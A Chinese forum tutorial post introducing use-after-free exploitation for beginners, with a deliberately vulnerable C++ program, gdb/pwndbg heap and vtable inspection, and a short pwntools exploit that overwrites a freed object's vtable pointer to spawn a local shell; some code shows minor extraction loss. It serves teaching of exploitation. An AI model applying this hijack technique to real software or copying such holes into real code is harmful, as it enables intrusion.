钞sir 发表于 2019-2-20 11:52:20

pwn入门--Use After Free

原理
use_after_free就是其字面所表达的意思,当一个内存块被释放之后再次被使用。但是其实这里有以下几种情况:
内存块被释放后,其对应的指针被设置为 NULL , 然后再次使用,自然程序会崩溃。
内存块被释放后,其对应的指针没有被设置为NULL,然后在它下一次被使用之前,没有代码对这块内存块进行修改,那么程序很有可能可以正常运转。
内存块被释放后,其对应的指针没有被设置为NULL,但是在它下一次使用之前,有代码对这块内存行了修改,那么当程序再次使用这块内存时,就很有可能会出现奇怪的问题。
而我们一般所指的 Use After Free 漏洞主要是后两种。此外,我们一般称被释放后没有被设置为 NULL 的内存指针为 dangling pointer。

---
例子
---
use_after_free.cpp
#include<cstdio>
#include<cstdlib>
#include<cstring>

class A
{
    public:

      virtual void print()
      {
            puts("class A");
      }
};

class B: public A
{
    public:
      void print()
      {
            puts("class B");
      }
};

void sh()
{
    system("sh");
}

char buf;

int main()
{
    setvbuf(stdout,0,_IONBF,0);
    A *p = new B();
    delete p;       //删除堆p
    fgets(buf,sizeof(buf),stdin);
    char *q = strdup(buf);
    p->print();   //继续使用p,触发漏洞,程序会报错
    return 0;
}
编译:
g++ use_after_free.cpp -o use_after_free -g -w
---
运行结果
---
root@sir:# ./use_after_free
aaaabbbb
Segmentation fault (core dumped)
我们发现程序,在最后报错了,因为我们触发了use_after_free,不过不影响我们的实验

漏洞利用
用gdb调试use_after_free,先在main函数上面下一个断点,然后运行
root@sir:# gdb use_after_free
pwndbg: loaded 173 commands. Type pwndbg for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from use_after_free...done.
pwndbg> b main
Breakpoint 1 at 0x11b1: file use_after_free.cpp, line 32.
pwndbg> r
然后一直单步运行,运行到delete的位置
pwndbg> n
34          delete p; //删除堆p
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────[ REGISTERS ]────────────────────

RSI0x0
R8   0x3
R9   0x7fffff280f00 ?— 0x7fffff280f00
R100x0
R110x0
R120x80010b0 (_start) ?— xor    ebp, ebp /* 0x89485ed18949ed31 */
R130x7ffffffee4e0 ?— 0x1
R140x0
R150x0
RBP0x7ffffffee400 —? 0x80012d0 (__libc_csu_init) ?— push   r15
RSP0x7ffffffee3e0 —? 0x80012d0 (__libc_csu_init) ?— push   r15
RIP0x80011ef (main+71) ?— mov    rax, qword ptr

─────────────────────────────────────────[ DISASM ]─────────────────────

> 0x80011ef <main+71>   mov    rax, qword ptr
   0x80011f3 <main+75>   mov    esi, 8
   0x80011f8 <main+80>   mov    rdi, rax
   0x80011fb <main+83>   call   0x8001060

   0x8001200 <main+88>   mov    rax, qword ptr <0x8004070>
   0x8001207 <main+95>   mov    rdx, rax
   0x800120a <main+98>   mov    esi, 0x400
   0x800120f <main+103>    lea    rdi, <0x8004080>
   0x8001216 <main+110>    call   fgets@plt <0x8001080>

   0x800121b <main+115>    lea    rdi, <0x8004080>
   0x8001222 <main+122>    call   strdup@plt <0x8001090>

─────────────────────────────────────[ SOURCE (CODE) ]──────────────────

   29
   30 int main()
   31 {
   32   setvbuf(stdout,0,_IONBF,0);
   33   A *p = new B();
> 34   delete p; //删除堆p
   35   fgets(buf,sizeof(buf),stdin);
   36   char *q = strdup(buf);
   37
   38   p->print(); //继续使用p,触发漏洞
   39   return 0;
这时我们查看p的信息
pwndbg> heap p
0x8016e70 {
mchunk_prev_size = 134233472,
mchunk_size = 0,
fd = 0x0,
bk = 0xf181,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
我们看到p的chunk的地址是0x8016e70,所以我们详细查看一下0x8016e70的内容
pwndbg> x/10gx 0x8016e70-16
0x8016e60:      0x0000000000000000      0x0000000000000021
0x8016e70:      0x0000000008003d80      0x0000000000000000
0x8016e80:      0x0000000000000000      0x000000000000f181
0x8016e90:      0x0000000000000000      0x0000000000000000
0x8016ea0:      0x0000000000000000      0x0000000000000000
pwndbg> x/10gx 0x8003d80
0x8003d80 <_ZTV1B+16>:0x0000000008001266      0x0000000000000000
0x8003d90 <_ZTV1A+8>:   0x0000000008003db8      0x000000000800124a
0x8003da0 <_ZTI1B>:   0x00007fffff786438      0x0000000008002017
0x8003db0 <_ZTI1B+16>:0x0000000008003db8      0x00007fffff7857f8
0x8003dc0 <_ZTI1A+8>:   0x000000000800201a      0x0000000000000001
pwndbg> x/10gx 0x8001266
0x8001266 <B::print()>: 0x10ec8348e5894855      0x933d8d48f87d8948
0x8001276 <B::print()+16>:      0xfffffdf2e800000d      0xe589485590c3c990
0x8001286 <A::A()+4>:   0x07158d48f87d8948      0x48f8458b4800002b
0x8001296 <A::A()+20>:0x485590c35d901089      0x894810ec8348e589
0x80012a6 <B::B()+10>:0x8948f8458b48f87d      0x8d48ffffffcee8c7

我们发现其实0x8016e70最终指向的位置其实就是class B中print函数的位置
我们继续单步运行程序,到p->print();的位置,然后我们继续查看堆p的信息
pwndbg> n
pwndbg> n
aaaabbbb
pwndbg> x/20gx 0x8016e70-16
0x8016e60:      0x0000000000000000      0x0000000000000021
0x8016e70:      0x6262626261616161      0x000000000000000a
0x8016e80:      0x0000000000000000      0x0000000000001011
0x8016e90:      0x6262626261616161      0x000000000000000a
0x8016ea0:      0x0000000000000000      0x0000000000000000
0x8016eb0:      0x0000000000000000      0x0000000000000000
0x8016ec0:      0x0000000000000000      0x0000000000000000
0x8016ed0:      0x0000000000000000      0x0000000000000000
0x8016ee0:      0x0000000000000000      0x0000000000000000
0x8016ef0:      0x0000000000000000      0x0000000000000000
我们发现原来0x8016e70的信息被我们输入的信息覆盖了,我们查看这时的汇编代码
0x8001227 <main()+127>mov    QWORD PTR ,rax
0x800122b <main()+131>mov    rax,QWORD PTR
0x800122f <main()+135>mov    rax,QWORD PTR
0x8001232 <main()+138>mov    rax,QWORD PTR
0x8001235 <main()+141>mov    rdx,QWORD PTR
0x800123c <main()+148>call   rax
查看一下寄存器的信息
RAX0x8016e70 <— 'aaaabbbb\n'
RBX0x8016e70 <— 'aaaabbbb\n'
RCX0xa626262626161
RDX0xa
RDI0x8016e70 <— 'aaaabbbb\n'
RSI0x6262626261616161 ('aaaabbbb')
R8   0x8016e99 <— 0x0
R9   0x7fffff280f00 <— 0x7fffff280f00
R100x253
R110x7fffff316ee0 (strdup) <— push   rbp
R120x80010b0 (_start) <— xor    ebp, ebp /* 0x89485ed18949ed31 */
R130x7ffffffee4e0 <— 0x1
R140x0
R150x0
RBP0x7ffffffee400 —> 0x80012d0 (__libc_csu_init) <— push   r15
RSP0x7ffffffee3e0 —> 0x8016e70 <— 'aaaabbbb\n'
RIP0x800122f (main+135) <— mov    rax, qword ptr

我们发现RAX的内容就是我们输入的信息,结合汇编代码可以发现,最终的call rax这句代码将执行的我们输入的数据所指的地址的代码

---
EXP
---
根据程序的源代码可以看到,我们输入的内容先放在buf里面,然后再复制过去的,而buf属于全局变量,其位置是找到的,所以我们的shellcode的构造可以是buf的地址+8然后加上sh()函数的地址,最终的RAX的值就是sh()函数的地址了
from pwn import *
p = process('./use_after_free')
buf=0x00404080
sh=0x0401182
p.sendline(p64(buf+8)+p64(sh)+'a'*4)
p.interactive()
之所以要在buf的地址加上8,是因为RAX只有8字节,而buf加8的位置加上sh()函数的地址了



Thunder_J 发表于 2019-3-6 22:59:23

太强了,awsl{:6_175:}
页: [1]
查看完整版本: pwn入门--Use After Free